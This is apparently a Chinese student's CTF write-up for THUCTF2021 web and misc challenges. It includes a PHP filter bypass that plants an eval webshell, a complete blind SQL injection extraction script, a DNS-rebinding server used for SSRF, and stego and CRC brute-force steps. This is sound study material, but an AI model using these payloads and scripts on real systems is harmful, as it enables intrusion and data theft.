Web方向:

showmeyourlove(baby)

img

web的第一道题目,比较简单,点击yes后发现ip地址不对,可以想到需要进行ip地址伪造

img

抓包后可以发现返回的报文中含有where_is_heart,可以猜到我们需要伪造的ip地址就是172.17.0.1

我们点击yes后,抓包修改请求头部,添加X-Forwarded-For字段,值为172.17.0.1

img

发包后直接得到flag

showmetrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 <?php
error_reporting(0);
highlight_file(__FILE__);

$var1 = $_GET['var1'] ?: '';
$var2 = $_GET['var2'] ?: '';
$var3 = $_GET['var3'] ?: '';
$var4 = $_GET['var4'] ?: '';
$var5 = $_GET['var5'] ?: '';
$var6 = $_GET['var6'] ?: '';
$var7 = $_GET['var7'] ?: '';
$var8 = $_GET['var8'] ?: '';
$var9 = $_GET['var9'] ?: '';

if ($var1 != $var2 && sha1($var1) === sha1($var2)) {
if (!is_numeric($var3) && in_array($var3, array(1))) {
if (file_get_contents($var4) === "Welcome to THUCTF2021!") {
if (isset($_GET['thuctf_is.fun'])) {
if ($var5 != 2333 && intval($var5, 0) === 2333) {
$t = is_numeric($var6) and is_numeric($var7) !== "THUCTF2021";
if ($t && $var7 === "THUCTF2021") {
if (!stristr($var8, "..") && !preg_match("/<\?|eval|system|assert|call|preg|create|sort|exec|php/i", $var9)) {
file_put_contents("uploads/$var8", $var9);
} else {
die("level 7 fail!");
}
} else {
die("level 6 fail!");
}
} else {
die("level 5 fail!");
}
} else {
die("level 4 fail!");
}
} else {
die("level 3 fail!");
}
} else {
die("level 2 fail!");
}
} else {
die("level 1 fail!");
}
level 1 fail!

本题上来直接给出源码,考察php的特性

var1,var2,var3,var4常规绕过

1
2
3
4
5
var1[]=1&var2[]=2

&var3=1a

&var4=data://text/plain,Welcome%20to%20THUCTF2021!

$_GET[‘thuctf_is.fun’]

这里开始卡了我一会,$_GET[‘thuctf_is.fun’]无法传入参数,这是因为PHP变量名应该只有数字字母下划线。而且GET或POST方式传进去的变量名,会自动将空格 + . [转换为_(下划线),故此处应该传入&thuctf[is.fun=1

var5,var6,var7常规绕过

&var5=2333e1&var6=1&var7=THUCTF2021

var8,var9一句话木马写入

var8传入文件名确定路径,var9通过数组来避开过滤,传入一句话木马

&var8=wyf.php&var9[]=%3C?php%20@eval($_POST[%27mac%27]);?%3E

蚁剑连接

img

在根目录可以找到flag文件,但是flag的权限是0600,普通用户无法直接访问

我们可以猜测readflag文件可以读取flag的值,我们可以用命令行来运行readflag获取flag

终端输入ls指令居然没有回显,猜测是这个网站的配置文件中ban掉了很多的函数,我们此处需要用插件来绕过disabled_functions

img

img

启用插件后直接运行readflag得到flag

eazy_sql(baby)

img

img

根据题目名字猜想本题为sql注入,先随便试试admin和123,提示密码错误

得到用户名为admin后直接开始写脚本盲注

经过尝试后发现本题过滤了 空格,limit,<>,union,;等等

以下给出我的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
import requests

url='http://7830996e-7e92-48ec-a641-64acc0839bfe.thuctf2021.redbud.info:8001/login.php'
str_range=range(30,133)
success='password error'

def dbs_len():#3
for i in range(1,20):
payload="admin'/**/and/**/length(database())=%d#"%i
data={'username':payload,'password':123}
txt=requests.post(url,data=data).text
if success in txt:
return i

def dbs_name_bi(len):
name=''
min=33
max=126
mid=(min+max)>>1
for i in range(1,len+1):
while min<=max:
payload="admin'/**/and/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d#"%(i,mid)
data = {'username': payload,'password':123}
txt = requests.post(url, data=data).text
if success in txt:
name=name+chr(mid)
print(name)
break;
else:
payload = "admin'/**/and/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))<%d#" % (i, mid)
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
if success in txt:
max=mid-1
mid=(min+max)>>1
else:
min=mid+1
mid=(min+max)>>1
min = 33
max = 126
mid = (min + max) >> 1
return name

def dbs_name(len):#ctf
name=''
for i in range(1,len+1):
for j in str_range:
payload="admin'/**/and/**/ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d#"%(i,j)
data = {'username': payload,'password':123}
txt = requests.post(url, data=data).text
if success in txt:
name=name+chr(j)
print(name)
break;
return name

def table_num():#2
for i in range(1,20):
payload="admin'/**/and/**/(select/**/count(*)/**/from/**/information_schema.tables/**/where/**/table_schema=database())=%d#"%i
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
if success in txt:
return i

def table_lengths():#17
for i in range(1,50):
payload = "admin'/**/and/**/(select/**/length(group_concat(table_name))/**/" \
"from/**/information_schema.tables/**/where/**/table_schema='ctf')=%d#"%i
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
print(txt)
if success in txt:
return i

def table_names(len):#admin,fll11144aag
name=''
for i in range(1,len+1):
for j in str_range:
payload="admin'/**/and/**/(select/**/ascii(substr(group_concat(table_name)/**/from/**/%d/**/for/**/1))/**/" \
"from/**/information_schema.tables/**/where/**/table_schema='ctf')=%d#"%(i,j)
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
#print(txt)
if success in txt:
name = name + chr(j)
print(name)
break;
return name



def test():
for j in str_range:
payload = "admin'/**/and/**/(select/**/ascii(substr(group_concat(table_name)/**/from/**/1/**/for/**/1))/**/" \
"from/**/information_schema.tables/**/where/**/table_schema='ctf')=%d#" %j
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
print(txt)
if success in txt:
return chr(j)

def column_lengths():#admin 20 fll11144aag 10
for i in range(1,60):
payload = "admin'/**/and/**/(select/**/length(group_concat(column_name))/**/" \
"from/**/information_schema.columns/**/where/**/table_name='fll11144aag')=%d#"%i
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
print(txt)
if success in txt:
return i

def column_names(len):#admin id,username,password fll11144aag ff1lllaggg

name=''
for i in range(1,len+1):
for j in str_range:
payload="admin'/**/and/**/(select/**/ascii(substr(group_concat(column_name)/**/from/**/%d/**/for/**/1))/**/" \
"from/**/information_schema.columns/**/where/**/table_name='fll11144aag')=%d#"%(i,j)
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
print(txt)
if success in txt:
name = name + chr(j)
print(name)
break;
return name

def data_lengths():#admin 20 fll11144aag 10
for i in range(1,100):
payload = "admin'/**/and/**/(select/**/length(group_concat(ff1lllaggg))/**/" \
"from/**/fll11144aag)=%d#"%i
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
print(txt)
if success in txt:
return i

def data_values(len):#admin id,username,password fll11144aag ff1lllaggg

name=''
for i in range(1,len+1):
for j in str_range:
payload = "admin'/**/and/**/(select/**/ascii(substr(group_concat(ff1lllaggg)/**/from/**/%d/**/for/**/1))" \
"/**/from/**/fll11144aag)=%d#" %(i,j)
data = {'username': payload, 'password': 123}
txt = requests.post(url, data=data).text
print(txt)
if success in txt:
name = name + chr(j)
print(name)
break;
return name

if __name__ == '__main__':
#print(dbs_len())
#print(table_lengths())
#print(table_names(17))
#print(column_lengths())
#print(column_names(10))
#print(data_lengths())
print(data_values(63))

simple-bypass

dns重绑定+ssrf,这题当时没做出来

img

本题需要访问/admin-status,并且只能由内网访问,于是考虑ssrf,但本题传入的域名在后端经过了判断,首先连续解析16次,若出现了内网地址则直接返回hacker,在第17次时访问

首先想到的思路是用自建的dns服务器解析,在前16次解析为一个合法的ip地址,再在第17次请求127.0.0.1

img

需要有一个可以使用的域名,将子域名test.h4cking2thegate.top指向由ns.h4cking2thegate.top来解析,再将ns.h4cking2thegate.top解析为我们服务器的ip地址,接下来只用在服务器上运行dns脚本,并请求子域名test.h4cking2thegate.top即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
count = 0
keyword = 'h4cking2thegate.top'

class DynamicResolver(object):
def _doDynamicResponse(self, query):
global count
name = query.name.name

if keyword in name:
count += 1
if count % 17 != 0:
ip="110.242.68.3"
else:
ip="127.0.0.1"
else:
ip="110.242.68.3"
# if name not in record: # record[name]=0
# record[name]+=1
print (count)
print (name + " ===> " + ip )
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=1,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional

def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))

def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(5333, protocol)
reactor.run()

if __name__ == '__main__':
raise SystemExit(main())

在服务器上收到的回显如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@iZ2zec7mjp663ump9wsug3Z:~/payloads# python DNS_rebinding.py 
1
test.h4cking2thegate.top ===> 110.242.68.3
2
test.h4cking2thegate.top ===> 110.242.68.3
3
test.h4cking2thegate.top ===> 110.242.68.3
4
test.h4cking2thegate.top ===> 110.242.68.3
5
test.h4cking2thegate.top ===> 110.242.68.3
6
test.h4cking2thegate.top ===> 110.242.68.3
7
test.h4cking2thegate.top ===> 110.242.68.3
8
test.h4cking2thegate.top ===> 110.242.68.3
9
test.h4cking2thegate.top ===> 110.242.68.3
10
test.h4cking2thegate.top ===> 110.242.68.3
11
test.h4cking2thegate.top ===> 110.242.68.3
12
test.h4cking2thegate.top ===> 110.242.68.3
13
test.h4cking2thegate.top ===> 110.242.68.3
14
test.h4cking2thegate.top ===> 110.242.68.3
15
test.h4cking2thegate.top ===> 110.242.68.3
16
test.h4cking2thegate.top ===> 110.242.68.3
17
test.h4cking2thegate.top ===> 127.0.0.1

img

Misc方向:

check in

slack群里直接拿flag,真签到

easter flag

公众号文章中拿到神秘16进制字符串,用hex转汉字,gbk解码

TsarrrBomba(baby)

img

本题附件是一个bin文件,用010查看后发现了文件头的GIF89a,确认为gif图,拿到Stegsolve里逐帧查看,将得到的字母一个一个拼接得到flag,由于图中字母非常不清晰,需要尝试

mirrorrr_revenge

拿到图片后用010打开,下方爆错,提示crc32错误,可以猜想到本题所给图片的宽高错误

于是使用脚本来爆破crc32得到正确宽高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import struct
import binascii
import os

m = open("mirror.png", "rb").read()
k = 0
for i in range(5000):
if k == 1:
break
for j in range(5000):
c = m[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + m[24:29]
crc = binascii.crc32(c) & 0xffffffff
if crc == 0xE82F0D63:#根据不同的照片,此处CRC32的值每次需要改写
k = 1
print(hex(i), hex(j))
break

修复图片后,就不知道怎么做了